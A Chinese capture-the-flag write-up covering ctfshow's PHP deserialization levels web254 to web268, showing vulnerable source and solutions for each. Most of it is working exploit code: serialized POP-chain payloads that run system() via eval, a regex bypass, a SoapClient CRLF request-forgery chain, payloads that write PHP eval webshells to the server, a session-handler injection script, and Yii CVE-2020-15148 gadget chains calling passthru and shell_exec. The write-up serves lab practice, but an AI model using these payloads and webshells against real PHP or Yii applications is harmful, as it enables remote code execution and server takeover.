当前位置: 首页 > news >正文

WEB入门——反序列化

web254

<?php/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com*/error_reporting(0);
highlight_file(__FILE__);
include('flag.php');class ctfShowUser{public $username='xxxxxx';public $password='xxxxxx';public $isVip=false;public function checkVip(){return $this->isVip;}public function login($u,$p){if($this->username===$u&&$this->password===$p){$this->isVip=true;}return $this->isVip;}public function vipOneKeyGetFlag(){if($this->isVip){global $flag;echo "your flag is ".$flag;}else{echo "no vip, no flag";}}
}$username=$_GET['username'];
$password=$_GET['password'];if(isset($username) && isset($password)){$user = new ctfShowUser();if($user->login($username,$password)){if($user->checkVip()){$user->vipOneKeyGetFlag();}}else{echo "no vip,no flag";}
}

和反序列化没有什么关系
POST:

username=xxxxxx&password=xxxxxx

web255

<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');class ctfShowUser{public $username='xxxxxx';public $password='xxxxxx';public $isVip=false;public function checkVip(){return $this->isVip;}public function login($u,$p){return $this->username===$u&&$this->password===$p;}public function vipOneKeyGetFlag(){if($this->isVip){global $flag;echo "your flag is ".$flag;}else{echo "no vip, no flag";}}
}$username=$_GET['username'];
$password=$_GET['password'];if(isset($username) && isset($password)){$user = unserialize($_COOKIE['user']);    if($user->login($username,$password)){if($user->checkVip()){$user->vipOneKeyGetFlag();}}else{echo "no vip,no flag";}
}

难点:在类里面没有对isVip属性进行赋值true
解决:所以我们需要想办法把isVip赋值成true才能获得flag
cookie中的user进行反序列化,可以往这里传入序列化的字符串,通过反序列化把isVip赋值成true

<?php  class ctfShowUser{  public $username='xxxxxx';  public $password='xxxxxx';  public $isVip=true;  }  $a = new ctfShowUser();  echo serialize($a);  
?>

运行:

O:11:"ctfShowUser":3:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";s:5:"isVip";b:1;}

GET:

?username=xxxxxx&password=xxxxxx

COOKIE:
注意要URL编码

user=O%3a11%3a%22ctfShowUser%22%3a3%3a%7bs%3a8%3a%22username%22%3bs%3a6%3a%22xxxxxx%22%3bs%3a8%3a%22password%22%3bs%3a6%3a%22xxxxxx%22%3bs%3a5%3a%22isVip%22%3bb%3a1%3b%7d

WEB入门——反序列化.png

web256

<?php
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');class ctfShowUser{public $username='xxxxxx';public $password='xxxxxx';public $isVip=false;public function checkVip(){return $this->isVip;}public function login($u,$p){return $this->username===$u&&$this->password===$p;}public function vipOneKeyGetFlag(){if($this->isVip){global $flag;if($this->username!==$this->password){echo "your flag is ".$flag;}}else{echo "no vip, no flag";}}
}$username=$_GET['username'];
$password=$_GET['password'];if(isset($username) && isset($password)){$user = unserialize($_COOKIE['user']);    if($user->login($username,$password)){if($user->checkVip()){$user->vipOneKeyGetFlag();}}else{echo "no vip,no flag";}
}

在获取flag的时候多了一层判断,即用户名和密码不一样
改一下账号和密码就好了

<?php  class ctfShowUser{  public $username='ddxl';  public $password='123456';  public $isVip=true;  }  $a = new ctfShowUser();  echo serialize($a);  
?>

运行:

O:11:"ctfShowUser":3:{s:8:"username";s:4:"ddxl";s:8:"password";s:6:"123456";s:5:"isVip";b:1;}

GET:

?username=ddxl&password=123456

COOKIE:

user=O%3a11%3a%22ctfShowUser%22%3a3%3a%7bs%3a8%3a%22username%22%3bs%3a4%3a%22ddxl%22%3bs%3a8%3a%22password%22%3bs%3a6%3a%22123456%22%3bs%3a5%3a%22isVip%22%3bb%3a1%3b%7d

web257

<?php
error_reporting(0);
highlight_file(__FILE__);class ctfShowUser{private $username='xxxxxx';private $password='xxxxxx';private $isVip=false;private $class = 'info';public function __construct(){$this->class=new info();}public function login($u,$p){return $this->username===$u&&$this->password===$p;}public function __destruct(){$this->class->getInfo();}}class info{private $user='xxxxxx';public function getInfo(){return $this->user;}
}class backDoor{private $code;public function getInfo(){eval($this->code);}
}$username=$_GET['username'];
$password=$_GET['password'];if(isset($username) && isset($password)){$user = unserialize($_COOKIE['user']);$user->login($username,$password);
}

反序列化的时候会先实例化info这个类,接着再销毁的时候调用类中的getInfo方法
很显然调用的是类info中的getInfo方法
而我们需要调用类backDoor中的getInfo方法,因为其中含有eval可以命令执行

<?php  class ctfShowUser{  private $class='backDoor';  public function __construct(){  $this->class=new backDoor();  }  }  class backDoor{  private $code='system("cat flag.php");';  }  $a = new ctfShowUser();  echo urlencode(serialize($a));  
?>

GET:

?username=xxxxxx&password=xxxxxx

COOKIE:

user=O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A23%3A%22system%28%22cat+flag.php%22%29%3B%22%3B%7D%7D

总结:
序列化不是“只序列化当前类”, 而是“把对象里引用到的所有对象,一起打包”。
问题1:
明明有两个类:ctfShowUserbackDoor
我只 serialize($a)ctfShowUser
为啥 backDoor 也被序列化进去了?
解答1:

$this->class = new backDoor();

这句话的真实含义是:ctfShowUser 这个对象里,装着一个 backDoor 对象
实际结构:

$a (ctfShowUser 对象)
│
└── $class ──> backDoor 对象│└── $code = 'system("cat flag.php");'

查看类的详细信息

<?php  class ctfShowUser{  private $class='woshizhanzuode';  public function __construct(){  $this->class=new backDoor();  }  }  class backDoor{  private $code='system("cat flag.php");';  }  $a = new ctfShowUser();  var_dump($a);// echo urlencode(serialize($a));  
?>

结果:

object(ctfShowUser)#1 (1) {["class":"ctfShowUser":private]=>object(backDoor)#2 (1) {["code":"backDoor":private]=>string(23) "system("cat flag.php");"}
}

问题2:
为什么有无以下代码序列化以后的结果都一样

        public function getInfo(){eval($this->code);}

解答2:
PHP 的 serialize() 只序列化对象的状态(属性),完全不关心类里有哪些方法。所以有没有 getInfo() 方法,对序列化结果没有任何影响
序列化干的是:把“实体里的数据”打包带走
而不是:把说明书复印一份

问题3:
对象“被销毁”的所有常见情况?
解答3:
对象的 __destruct() 会在以下时机被调用:
1.对象“没有任何变量引用它了”

$user = new A();
$user = null;   // 立刻触发 __destruct()

2.脚本执行结束(最常见、CTF 核心点)

// PHP 文件执行到末尾

所有仍然存在的对象都会被销毁
3.unset($object)

unset($user);   // 立刻触发 __destruct()

4.程序异常终止(Fatal error / die / exit)

die();
exit();

总结:
反序列化不会调用构造函数,但一定会调用析构函数

┌────────────────────┐
│  unserialize()     │   ← 可控 Cookie
└─────────┬──────────┘↓
┌────────────────────┐
│ ctfShowUser 对象   │
│  private $class    │  ← 可控
└─────────┬──────────┘↓
┌────────────────────┐
│ __destruct()       │
│ $this->class       │
│   ->getInfo()      │
└─────────┬──────────┘↓
┌────────────────────┐
│ backDoor 对象      │
│ getInfo()          │
│   eval($code)      │
└─────────┬──────────┘↓
┌────────────────────┐
│ system("cat flag") │
└────────────────────┘

web258

<?php
error_reporting(0);
highlight_file(__FILE__);class ctfShowUser{public $username='xxxxxx';public $password='xxxxxx';public $isVip=false;public $class = 'info';public function __construct(){$this->class=new info();}public function login($u,$p){return $this->username===$u&&$this->password===$p;}public function __destruct(){$this->class->getInfo();}}class info{public $user='xxxxxx';public function getInfo(){return $this->user;}
}class backDoor{public $code;public function getInfo(){eval($this->code);}
}$username=$_GET['username'];
$password=$_GET['password'];if(isset($username) && isset($password)){if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){$user = unserialize($_COOKIE['user']);}$user->login($username,$password);
}

分析:
正则表达式:preg_match('/[oc]:\d+:/i', $_COOKIE['user'])
1.[oc]:字符集合
2.::字面量冒号
3.\d+:数字至少 1 位
为什么它会盯上这个格式?因为 PHP 序列化长这样 👇
对象(object)

O:11:"ctfShowUser":1:{...}

自定义序列化(Serializable 接口)

C:11:"SomeClass":...

解决:
使用O:+代替O:

<?php
class ctfShowUser
{public $class = 'backDoor';public function __construct(){$this->class=new backDoor();}
}class backDoor{public $code = 'system("tac flag.php");';}$a = new ctfShowUser();
$a = serialize($a);
$a = str_replace("O:","O:+",$a);
echo urlencode($a);
?>

长这样了:

O:+11:"ctfShowUser":1:{s:5:"class";O:+8:"backDoor":1:{s:4:"code";s:23:"system("tac flag.php");";}}

最终:
GET:

?username=xxxxxx&password=xxxxxx

COOKIE:

O%3A%2B11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A23%3A%22system%28%22tac+flag.php%22%29%3B%22%3B%7D%7D

解释:
PHP 内部的行为
在反序列化时,PHP 会把长度字段当成:

(int) "+11"

而在 PHP 中:

(int) "+11" === 11

web259

index.php

<?phphighlight_file(__FILE__);$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();

flag.php

<?php
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);if($ip!=='127.0.0.1'){die('error');
}else{$token = $_POST['token'];if($token=='ctfshow'){file_put_contents('flag.txt',$flag);}
}

考点:SoapClient反序列化+CRLF漏洞
Deserialization + __call + SoapClient + CRLF = SSRF

解决:

<?php$ua="ctfshow\nX-Forwarded-For:127.0.0.1,127.0.0.1\nContent-Type: application/x-www-form-urlencoded\nContent-Length:13\n\ntoken=ctfshow";
$client = new SoapClient(NULL,array('uri'=>"http://127.0.0.1","location"=>"http://127.0.0.1/flag.php","user_agent"=>$ua));echo urlencode(serialize($client));

GET:

vip=O%3A10%3A%22SoapClient%22%3A5%3A%7Bs%3A3%3A%22uri%22%3Bs%3A16%3A%22http%3A%2F%2F127.0.0.1%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A15%3A%22_stream_context%22%3Bi%3A0%3Bs%3A11%3A%22_user_agent%22%3Bs%3A124%3A%22ctfshow%0AX-Forwarded-For%3A127.0.0.1%2C127.0.0.1%0AContent-Type%3A+application%2Fx-www-form-urlencoded%0AContent-Length%3A13%0A%0Atoken%3Dctfshow%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

访问

/flag.txt

解析:
SoapClient
SoapClient采用了HTTP作为底层通讯协议,XML作为数据传送的格式,其采用了SOAP协议(SOAP是一种简单的基于 XML 的协议,它使应用程序通过 HTTP 来交换信息。
调用不存在的方法:使SoapClient类去调用__call方法
例子:
我先监听一下本地端口:

nc -lvvp 5555

运行:

<?php  $a = new SoapClient(null,array('uri'=>'aaa', 'location'=>'http://127.0.0.1:5555/path'));   $a->dxl666666();

本地端口5555接受:

C:\Users\Lenovo>nc -lvvp 5555
listening on [any] 5555 ...
connect to [127.0.0.1] from localhost.sangfor.com.cn [127.0.0.1] 39797
POST /path HTTP/1.1
Host: 127.0.0.1:5555
Connection: Keep-Alive
User-Agent: PHP-SOAP/8.2.9
Content-Type: text/xml; charset=utf-8
SOAPAction: "aaa#dxl666666"
Content-Length: 372<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="aaa" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:dxl666666/></SOAP-ENV:Body></SOAP-ENV:Envelope>

CRLF漏洞
CRLF是”回车 + 换行”(\r\n)的简称。
在HTTP协议中,HTTP Header与HTTP Body是用两个CRLF分隔的,浏览器就是根据这两个CRLF来取出HTTP 内容并显示出来。所以,一旦我们能够控制HTTP 消息头中的字符,注入一些恶意的换行,这样我们就能注入一些会话Cookie或者HTML代码,所以CRLF Injection又叫HTTP Response Splitting,简称HRS

看上图本地端口5555接受结果,SOAPAction是可控的点,我们注入两个\r\n来控制POST请求头

<?php  $a = new SoapClient(null,array('uri'=>"aaa\r\n\r\nbbb\r\n", 'location'=>'http://127.0.0.1:5555/path'));  $a->dxl666666();
C:\Users\Lenovo>nc -lvvp 5555
listening on [any] 5555 ...
connect to [127.0.0.1] from localhost.sangfor.com.cn [127.0.0.1] 65265
POST /path HTTP/1.1
Host: 127.0.0.1:5555
Connection: Keep-Alive
User-Agent: PHP-SOAP/8.2.9
Content-Type: text/xml; charset=utf-8
SOAPAction: "aaabbb
#dxl666666"
Content-Length: 393<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="aaa&#13;
&#13;
bbb&#13;
" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:dxl666666/></SOAP-ENV:Body></SOAP-ENV:Envelope>

可见成功控制了请求头
POST数据指定请求头为Content-Type:application/x-www-form-urlencoded,我们需要控制Content-Type,但从上图中可以发现它位于SOAPAtion上方。
继续往上,可以发现User-Agent位于Content-Type上方,这个位置也可以进行注入,所以我们再User-Agent进行注入

<?php  $post_string = "ddxl=666666";  $a = new SoapClient(null,array('location'=>'http://127.0.0.1:5555/path', 'user_agent'=>"ddxl\r\nContent-Type:application/x-www-form-urlencoded\r\n"."Content-Length: ".(string)strlen($post_string)."\r\n\r\n".$post_string, 'uri'=>"aaa"));  $a->dxl666666();

返回:

C:\Users\Lenovo>nc -lvvp 5555
listening on [any] 5555 ...
connect to [127.0.0.1] from localhost.sangfor.com.cn [127.0.0.1] 59545
POST /path HTTP/1.1
Host: 127.0.0.1:5555
Connection: Keep-Alive
User-Agent: ddxl
Content-Type:application/x-www-form-urlencoded
Content-Length: 11ddxl=666666
Content-Type: text/xml; charset=utf-8
SOAPAction: "aaa#dxl666666"
Content-Length: 372<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="aaa" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:dxl666666/></SOAP-ENV:Body></SOAP-ENV:Envelope>

构造任意post请求成功
测试题目,先假设为5555端口:

<?php  $post_string = "ddxl=666666";  $ua="ctfshow\nX-Forwarded-For:127.0.0.1,127.0.0.1\nContent-Type: application/x-www-form-urlencoded\nContent-Length:13\n\ntoken=ctfshow";$a = new SoapClient(NULL,array('uri'=>"http://127.0.0.1","location"=>"http://127.0.0.1:5555/flag.php","user_agent"=>$ua));$a->dxl666666();

返回:

C:\Users\Lenovo>nc -lvvp 5555
listening on [any] 5555 ...
connect to [127.0.0.1] from localhost.sangfor.com.cn [127.0.0.1] 32192
POST /flag.php HTTP/1.1
Host: 127.0.0.1:5555
Connection: Keep-Alive
User-Agent: ctfshow
X-Forwarded-For:127.0.0.1,127.0.0.1
Content-Type: application/x-www-form-urlencoded
Content-Length:13token=ctfshow
Content-Type: text/xml; charset=utf-8
SOAPAction: "http://127.0.0.1#dxl666666"
Content-Length: 385<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns1="http://127.0.0.1" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><SOAP-ENV:Body><ns1:dxl666666/></SOAP-ENV:Body></SOAP-ENV:Envelope>

这里X-Forwarded-For里面需要两个127.0.0.1的原因是docker环境cloudfare代理所导致

web260

<?phperror_reporting(0);
highlight_file(__FILE__);
include('flag.php');if(preg_match('/ctfshow_i_love_36D/',serialize($_GET['ctfshow']))){echo $flag;
}
?ctfshow=ctfshow_i_love_36D

serialize后输出

s:18:"ctfshow_i_love_36D";

web261

<?phphighlight_file(__FILE__);class ctfshowvip{public $username;public $password;public $code;public function __construct($u,$p){$this->username=$u;$this->password=$p;}public function __wakeup(){if($this->username!='' || $this->password!=''){die('error');}}public function __invoke(){eval($this->code);}public function __sleep(){$this->username='';$this->password='';}public function __unserialize($data){$this->username=$data['username'];$this->password=$data['password'];$this->code = $this->username.$this->password;}public function __destruct(){if($this->code==0x36d){file_put_contents($this->username, $this->password);}}
}unserialize($_GET['vip']);
$this->code = $this->username.$this->password;

0x36d十进制就等于877,因为是弱类型比较,像877a等都可以通过
拼接后:877.php<?php eval($_POST[1]) ?>就能通过

<?phpclass ctfshowvip{public $username;public $password;public function __construct($u,$p){$this->username=$u;$this->password=$p;}}$a = new ctfshowvip('877.php','<?php eval($_POST[1]) ?>');echo urlencode(serialize($a));

访问:

/877.php

web263

WEB入门——反序列化-1.png
index.php

<?phperror_reporting(0);session_start();//超过5次禁止登陆if(isset($_SESSION['limit'])){$_SESSION['limti']>5?die("登陆失败次数超过限制"):$_SESSION['limit']=base64_decode($_COOKIE['limit']);$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit']) +1);}else{setcookie("limit",base64_encode('1'));$_SESSION['limit']= 1;}
?>
<script>function check(){$.ajax({url:'check.php',type: 'GET',data:{'u':$('#u').val(),'pass':$('#pass').val()},success:function(data){alert(JSON.parse(data).msg);},error:function(data){alert(JSON.parse(data).msg);}});}
</script>

check.php

<?php
error_reporting(0);
require_once 'inc/inc.php';
$GET = array("u"=>$_GET['u'],"pass"=>$_GET['pass']);if($GET){$data= $db->get('admin',[	'id','UserName0'],["AND"=>["UserName0[=]"=>$GET['u'],"PassWord1[=]"=>$GET['pass'] //密码必须为128位大小写字母+数字+特殊符号,防止爆破]]);if($data['id']){//登陆成功取消次数累计$_SESSION['limit']= 0;echo json_encode(array("success","msg"=>"欢迎您".$data['UserName0']));}else{//登陆失败累计次数加1$_COOKIE['limit'] = base64_encode(base64_decode($_COOKIE['limit'])+1);echo json_encode(array("error","msg"=>"登陆失败"));}
}

inc/inc.php

<?php
error_reporting(0);
ini_set('display_errors', 0);
ini_set('session.serialize_handler', 'php');
date_default_timezone_set("Asia/Shanghai");
session_start();
use \CTFSHOW\CTFSHOW; 
require_once 'CTFSHOW.php';
...
省略
...
class User{public $username;public $password;public $status;function __construct($username,$password){$this->username = $username;$this->password = $password;}function setStatus($s){$this->status=$s;}function __destruct(){file_put_contents("log-".$this->username, "使用".$this->password."登陆".($this->status?"成功":"失败")."----".date_create()->format('Y-m-d H:i:s'));}
}

分析:
inc/inc.php 存在 ini_set('session.serialize_handler', 'php'); session_start(); ,只要访问即会获取之前写入的 session 数据

1.ini_set('session.serialize_handler', 'php');
注意这里设置cookie的时候没有设置seesion序列化选择器的,就是php.ini中配置的序列化选择器。回顾下三种选择器
选择器样例:

$_SESSION['name'] = 'ocean';

1.php_serialize
存储格式:
经过serialize()函数序列化数组
例子:

a:1:{s:4:"name";s:5:"ocean";}

2.php(默认)
存储格式:
键名竖线经过serialize()函数处理的值
例子:

name|s:5:"ocean";

3.php_binary
存储格式:
键名的长度对应的asci字符键名serialize0函数序列化的值
例子:

name s:6:"spoock";

注意:
inc.php 中却单独声明使用了 php 序列化选择器:session.serialize_handler: php
应该出题人改了默认的选择器,复盘也发现是这样的:session.serialize_handler: php_serialize
Session 反序列化漏洞(如 CTF 题目 ctfshow web263)中,关键前提就是:写入 Session 时用一种格式(如 php_serialize),读取时用另一种格式(如 php)→ 导致解析错位,从而触发反序列化任意对象。
默认不是用 php 引擎,所以写入是正常字符串,在 ​​inc/inc.php​​ 这读取语义又不一样了

在 ​​inc/inc.php中

var_export($_SESSION);

返回:

array ('a:1:{s:5:"limit";s:112:"' => User::__set_state(array('username' => '1.php','password' => '<?php @eval($_POST["lcycb"]);?>','status' => NULL,)),
)

这说明:
$ _SESSION的 key 是 'a:1:{s:5:"limit";s:112:"',value 是一个 User 对象!
WEB入门——反序列化-2.png
原来的payload的也正好112个,更能验证一开始limit=|O:4:"User":3:{s:8:"username";s:5:"1.php";s:8:"password";s:31:"<?php @eval($_POST["lcycb"]);?>";s:6:"status";N;},这部分被序列化存储在session了

2.session_start();
session_start() 触发反序列化是因为 PHP 会从存储的会话数据中读取序列化的对象,并自动将它们反序列化为 PHP 对象。只要在会话中存储了一个对象(如 User 对象),当会话数据被加载时,PHP 就会重建该对象并调用相关方法(例如 __destruct),如果对象中包含恶意代码,就会执行这些恶意代码。

cookie中的limit进行base64解码之后传入session中
之后调用inc中的User类,并且其中这个User类中存在文件写入函数,所以写入一句话即可

<?php
class User
{public $username;public $password;public $status;// 构造函数,用于初始化对象的属性function __construct($username, $password){$this->username = $username;$this->password = $password;}
}
$a = new User('1.php', '<?php @eval($_POST["lcycb"]);?>');
echo '|'.serialize($a);
echo base64_encode('|'.serialize($a)); // 序列化并对结果进行 Base64 编码
import requests  
url = "http://3c20dcf4-e154-4f1f-9488-fecd972e8dd4.challenge.ctf.show/"  
cookies = {"PHPSESSID": "n13jgh4egq7v2a2cte6qe1b73u", "limit": "fE86NDoiVXNlciI6Mzp7czo4OiJ1c2VybmFtZSI7czo1OiIxLnBocCI7czo4OiJwYXNzd29yZCI7czozMToiPD9waHAgQGV2YWwoJF9QT1NUWyJsY3ljYiJdKTs/PiI7czo2OiJzdGF0dXMiO047fQ"}  
res1 = requests.get(url + "index.php", cookies=cookies)
res1 = requests.get(url + "index.php", cookies=cookies)  
res2 = requests.get(url + "inc/inc.php", cookies=cookies)  
res3 = requests.get(url + "log-1.php", cookies=cookies)

总结:
漏洞点:
默认的选择器:session.serialize_handler: php_serialize
inc.php 中却单独声明选择器:session.serialize_handler: php

步骤:
1.先访问1次index.php,先setcookie设置一下

setcookie("limit",base64_encode('1'));
$_SESSION['limit']= 1;

2.再次访问index.php,让shell存进SESSION去

$_SESSION['limit']=base64_decode($_COOKIE['limit']);

3.然后带着这个SESSION去访问inc/inc.php,触发写入恶意代码到log-1.php
4.蚁剑连接log-1.php

web262

index.php

<?php
error_reporting(0);
class message{public $from;public $msg;public $to;public $token='user';public function __construct($f,$m,$t){$this->from = $f;$this->msg = $m;$this->to = $t;}
}$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];if(isset($f) && isset($m) && isset($t)){$msg = new message($f,$m,$t);$umsg = str_replace('fuck', 'loveU', serialize($msg));setcookie('msg',base64_encode($umsg));echo 'Your message has been sent';
}highlight_file(__FILE__);

message.php

<?php
highlight_file(__FILE__);
include('flag.php');class message{public $from;public $msg;public $to;public $token='user';public function __construct($f,$m,$t){$this->from = $f;$this->msg = $m;$this->to = $t;}
}if(isset($_COOKIE['msg'])){$msg = unserialize(base64_decode($_COOKIE['msg']));if($msg->token=='admin'){echo $flag;}
}

有一个正则会把传入的序列化内容中的fuck替换成loveU,也就是长度从4变成了5,我们可以操作的内容就多了一位
并且只要message类中的token的值为admin,就会输出flag
我们的payload需要如下形式:

";s:5:"token";s:5:"admin";}

构造的payload长度一共27位,所以我们需要输入27个fuck来获得额外的27个长度,以达到填充我们的字符的目的

?f=123&m=123&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

然后再访问message.php就可以输入flag

解释:
PHP 序列化是“靠长度对齐的”
PHP 的序列化格式长这样:

s:3:"abc";

意思是:接下来有 3 个字符,必须严格对齐
如果你告诉 PHP:

s:3:"abcde";

那 PHP 会:读 abc,剩下的 de"; 会被当成“新结构”

你真正干的事不是:“把 token 改成 admin”
而是:“让 PHP 解析器读错边界,把你后面的字符串当成新属性”

目的是让public $token='admin';

<?php
class message{public $from;public $msg;public $to;public $token='admin';public function __construct($f,$m,$t){$this->from = $f;$this->msg = $m;$this->to = $t;}
}$msg = new message("1","2",'fuck');
echo serialize($msg);

返回:

O:7:"message":4:{s:4:"from";s:1:"1";s:3:"msg";s:1:"2";s:2:"to";s:4:"fuck";s:5:"token";s:5:"admin";}

要构造出:

;s:5:"token";s:5:"admin";}

后面的字符,一共27位:

";s:5:"token";s:5:"admin";}

于是需要多出来 27 个字符空间
27 个 fuck → 多出 27 个字符

fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck

思路2:
在cookie中给msg传入message序列化后进行base64编码的值,只要把token值设置为admin就好了

<?phpclass message{public $token='admin';
}echo base64_encode(serialize(new message()));

返回:

Tzo3OiJtZXNzYWdlIjoxOntzOjU6InRva2VuIjtzOjU6ImFkbWluIjt9

Cookie:

msg=Tzo3OiJtZXNzYWdlIjoxOntzOjU6InRva2VuIjtzOjU6ImFkbWluIjt9

访问/message.php

web264

index.php

<?php
error_reporting(0);
session_start();class message{public $from;public $msg;public $to;public $token='user';public function __construct($f,$m,$t){$this->from = $f;$this->msg = $m;$this->to = $t;}
}$f = $_GET['f'];
$m = $_GET['m'];
$t = $_GET['t'];if(isset($f) && isset($m) && isset($t)){$msg = new message($f,$m,$t);$umsg = str_replace('fuck', 'loveU', serialize($msg));$_SESSION['msg']=base64_encode($umsg);echo 'Your message has been sent';
}highlight_file(__FILE__);

message.php

<?php
session_start();
highlight_file(__FILE__);
include('flag.php');class message{public $from;public $msg;public $to;public $token='user';public function __construct($f,$m,$t){$this->from = $f;$this->msg = $m;$this->to = $t;}
}if(isset($_COOKIE['msg'])){$msg = unserialize(base64_decode($_SESSION['msg']));if($msg->token=='admin'){echo $flag;}
}

解决:用之前的payload打,不过访问message.php的时候需要coookie中的msg有值
原因:
index.php:session_start();
message.php:$_SESSION['msg']
先访问index.php,给$_SESSION['msg']赋值

index.php?f=123&m=123&t=fuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuckfuck";s:5:"token";s:5:"admin";}

再访问:

message.php

COOKIE:

msg=111

WEB入门——反序列化-4.png

web265

<?php
error_reporting(0);
include('flag.php');
highlight_file(__FILE__);
class ctfshowAdmin{public $token;public $password;public function __construct($t,$p){$this->token=$t;$this->password = $p;}public function login(){return $this->token===$this->password;}
}$ctfshow = unserialize($_GET['ctfshow']);
$ctfshow->token=md5(mt_rand());if($ctfshow->login()){echo $flag;
}

难点:这里token是强等于,且md5随机数
解决:token指向password指向的"地址"

<?php
class ctfshowAdmin{public $token;public $password;
}
$a = new ctfshowAdmin();
$a ->token=&$a ->password;
echo urlencode(serialize($a));

GET:

?ctfshow=O%3A12%3A"ctfshowAdmin"%3A2%3A{s%3A5%3A"token"%3BN%3Bs%3A8%3A"password"%3BR%3A2%3B}

web266

<?phphighlight_file(__FILE__);include('flag.php');
$cs = file_get_contents('php://input');class ctfshow{public $username='xxxxxx';public $password='xxxxxx';public function __construct($u,$p){$this->username=$u;$this->password=$p;}public function login(){return $this->username===$this->password;}public function __toString(){return $this->username;}public function __destruct(){global $flag;echo $flag;}
}
$ctfshowo=@unserialize($cs);
if(preg_match('/ctfshow/', $cs)){throw new Exception("Error $ctfshowo",1);
}

解决:绕过ctfshow就可以拿到在销毁时拿到flag
file_get_contents("php://input"):获取非enctype="multipart/form-data"提交过来的数据

<?php
class ctfshow{public $username='xxxxxx';public $password='xxxxxx';public function login(){return $this->username===$this->password;}
}$a = serialize(new ctfshow());
echo $a;

返回:

O:7:"ctfshow":2:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";}

改成大写

O:7:"CTFSHOW":2:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";}

直接POST传参
WEB入门——反序列化-5.png
返回结果

解析:
PHP 反序列化时类名不区分大小写

web267

考点:yii反序列化
解决:
弱口令登录,发现登录成功,账密 admin/admin
利用CVE-2020-15148来获得flag

<?php
namespace yii\rest{class IndexAction{public $checkAccess;public $id;public function __construct(){$this->checkAccess = 'passthru';$this->id = 'cat /flag';}}
}
namespace Faker {use yii\rest\IndexAction;class Generator{protected $formatters;public function __construct(){$this->formatters['close'] = [new IndexAction(), 'run'];}}
}
namespace yii\db{use Faker\Generator;class BatchQueryResult{private $_dataReader;public function __construct(){$this->_dataReader=new Generator();}}
}
namespace{use yii\db\BatchQueryResult;echo base64_encode(serialize(new BatchQueryResult()));
}
/index.php?view-source&r=backdoor/shell
&code=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czo4OiJwYXNzdGhydSI7czoyOiJpZCI7czo5OiJjYXQgL2ZsYWciO31pOjE7czozOiJydW4iO319fX0=

web268

<?php
namespace yii\rest {class IndexAction{public $checkAccess;public $id;public function __construct(){$this->checkAccess = 'shell_exec';$this->id = 'cp /f* my3n.txt';}}
}
namespace yii\web {use \yii\rest\IndexAction;class DbSession{public function __construct(){$this->writeCallback = [new IndexAction(), "run"];}}
}
namespace yii\db {use \yii\web\DbSession;class BatchQueryResult{private $_dataReader;public function __construct(){$this->_dataReader = new DbSession();}}
}
